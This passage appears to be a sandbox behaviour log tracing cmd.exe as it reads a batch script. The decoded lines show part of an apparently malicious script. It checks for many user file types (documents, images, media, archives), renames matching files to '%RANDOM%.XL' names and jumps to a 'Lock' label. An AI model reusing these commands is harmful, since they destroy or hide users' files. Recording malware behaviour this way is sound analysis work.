nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.744] SetFilePointer (in: hFile=0x74, lDistanceToMove=2352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0037.744] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.gif goto l\r\n") returned 27 [0037.744] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.744] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0037.745] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.745] GetFileType (hFile=0x74) returned 0x1 [0037.745] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0037.745] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.745] SetFilePointer (in: hFile=0x74, lDistanceToMove=2379, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x94b [0037.745] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.url goto l\r\n") returned 27 [0037.745] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.745] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x94b [0037.745] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.745] GetFileType (hFile=0x74) returned 0x1 [0037.745] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x94b [0037.745] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.745] SetFilePointer (in: hFile=0x74, lDistanceToMove=2406, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x966 [0037.745] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.zip goto l\r\n") returned 27 [0037.745] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.745] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x966 [0037.745] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.745] GetFileType (hFile=0x74) returned 0x1 [0037.746] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x966 [0037.746] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.746] SetFilePointer (in: hFile=0x74, lDistanceToMove=2433, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x981 [0037.746] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.rar goto l\r\n") returned 27 [0037.746] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.746] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x981 [0037.746] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.746] GetFileType (hFile=0x74) returned 0x1 [0037.746] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x981 [0037.746] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.746] SetFilePointer (in: hFile=0x74, lDistanceToMove=2460, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x99c [0037.746] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.ink goto l\r\n") returned 27 [0037.746] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.746] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x99c [0037.746] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.746] GetFileType (hFile=0x74) returned 0x1 [0037.746] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x99c [0037.746] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.747] SetFilePointer (in: hFile=0x74, lDistanceToMove=2487, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0037.747] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.txt goto l\r\n") returned 27 [0037.747] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.747] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0037.747] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.747] GetFileType (hFile=0x74) returned 0x1 [0037.747] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0037.747] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.747] SetFilePointer (in: hFile=0x74, lDistanceToMove=2514, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9d2 [0037.747] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.pdf goto l\r\n") returned 27 [0037.747] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.747] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9d2 [0037.747] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.747] GetFileType (hFile=0x74) returned 0x1 [0037.747] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9d2 [0037.747] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.747] SetFilePointer (in: hFile=0x74, lDistanceToMove=2541, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9ed [0037.747] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.vbs goto l\r\n") returned 27 [0037.748] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.748] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9ed [0037.748] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.748] GetFileType (hFile=0x74) returned 0x1 [0037.748] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9ed [0037.748] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.748] SetFilePointer (in: hFile=0x74, lDistanceToMove=2569, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa09 [0037.748] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.docx goto l\r\n\r\n") returned 28 [0037.748] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.748] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa09 [0037.748] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.748] GetFileType (hFile=0x74) returned 0x1 [0037.748] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa09 [0037.748] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.748] SetFilePointer (in: hFile=0x74, lDistanceToMove=2596, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa24 [0037.748] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.doc goto l\r\n\n") returned 27 [0037.748] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.748] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa24 [0037.749] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.749] GetFileType (hFile=0x74) returned 0x1 [0037.749] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa24 [0037.749] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.749] SetFilePointer (in: hFile=0x74, lDistanceToMove=2623, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa3f [0037.749] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp4 goto l\r\n") returned 27 [0037.749] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.749] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa3f [0037.749] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.749] GetFileType (hFile=0x74) returned 0x1 [0037.749] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa3f [0037.749] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.749] SetFilePointer (in: hFile=0x74, lDistanceToMove=2650, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa5a [0037.749] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp3 goto l\r\n") returned 27 [0037.749] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.749] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa5a [0037.749] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.749] GetFileType (hFile=0x74) returned 0x1 [0037.749] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa5a [0037.750] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.750] SetFilePointer (in: hFile=0x74, lDistanceToMove=2677, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa75 [0037.750] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.wav goto l\r\n") returned 27 [0037.750] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.750] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa75 [0037.750] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.750] GetFileType (hFile=0x74) returned 0x1 [0037.750] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa75 [0037.750] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.750] SetFilePointer (in: hFile=0x74, lDistanceToMove=2704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa90 [0037.750] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.jpg goto l\r\n") returned 27 [0037.750] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.750] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa90 [0037.750] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.750] GetFileType (hFile=0x74) returned 0x1 [0037.750] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa90 [0037.750] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.750] SetFilePointer (in: hFile=0x74, lDistanceToMove=2731, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaab [0037.751] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.png goto l\r\n") returned 27 [0037.751] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.751] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xaab [0037.751] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.751] GetFileType (hFile=0x74) returned 0x1 [0037.751] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xaab [0037.751] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.751] SetFilePointer (in: hFile=0x74, lDistanceToMove=2758, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xac6 [0037.751] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.htm goto l\r\n") returned 27 [0037.751] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.751] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xac6 [0037.751] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.751] GetFileType (hFile=0x74) returned 0x1 [0037.751] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xac6 [0037.751] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.751] SetFilePointer (in: hFile=0x74, lDistanceToMove=2786, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae2 [0037.751] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.html goto l\r\n") returned 28 [0037.751] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.752] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae2 [0037.752] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.752] GetFileType (hFile=0x74) returned 0x1 [0037.752] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae2 [0037.752] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.752] SetFilePointer (in: hFile=0x74, lDistanceToMove=2792, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae8 [0037.752] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":gif\r\n EXIST *.html goto l\r\n") returned 6 [0037.752] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.752] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae8 [0037.752] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.752] GetFileType (hFile=0x74) returned 0x1 [0037.752] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae8 [0037.752] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.752] SetFilePointer (in: hFile=0x74, lDistanceToMove=2818, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb02 [0037.752] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.gif %RANDOM%.XL\r\n\r\n") returned 26 [0037.752] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.752] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb02 [0037.752] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.753] GetFileType (hFile=0x74) returned 0x1 [0037.753] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb02 [0037.753] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.753] SetFilePointer (in: hFile=0x74, lDistanceToMove=2820, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb04 [0037.753] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.gif %RANDOM%.XL\r\n") returned 2 [0037.753] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.753] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb04 [0037.753] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.753] GetFileType (hFile=0x74) returned 0x1 [0037.753] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb04 [0037.753] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.753] SetFilePointer (in: hFile=0x74, lDistanceToMove=2831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0037.753] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0037.753] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.753] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0037.753] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.753] GetFileType (hFile=0x74) returned 0x1 [0037.753] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0037.754] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.754] SetFilePointer (in: hFile=0x74, lDistanceToMove=2837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb15 [0037.754] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":url\r\nock\r\n") returned 6 [0037.754] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.754] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb15 [0037.754] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.754] GetFileType (hFile=0x74) returned 0x1 [0037.754] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb15 [0037.754] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.754] SetFilePointer (in: hFile=0x74, lDistanceToMove=2863, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb2f [0037.754] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.url %RANDOM%.XL\r\n") returned 26 [0037.754] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.754] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb2f [0037.754] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.754] GetFileType (hFile=0x74) returned 0x1 [0037.754] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb2f [0037.754] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, 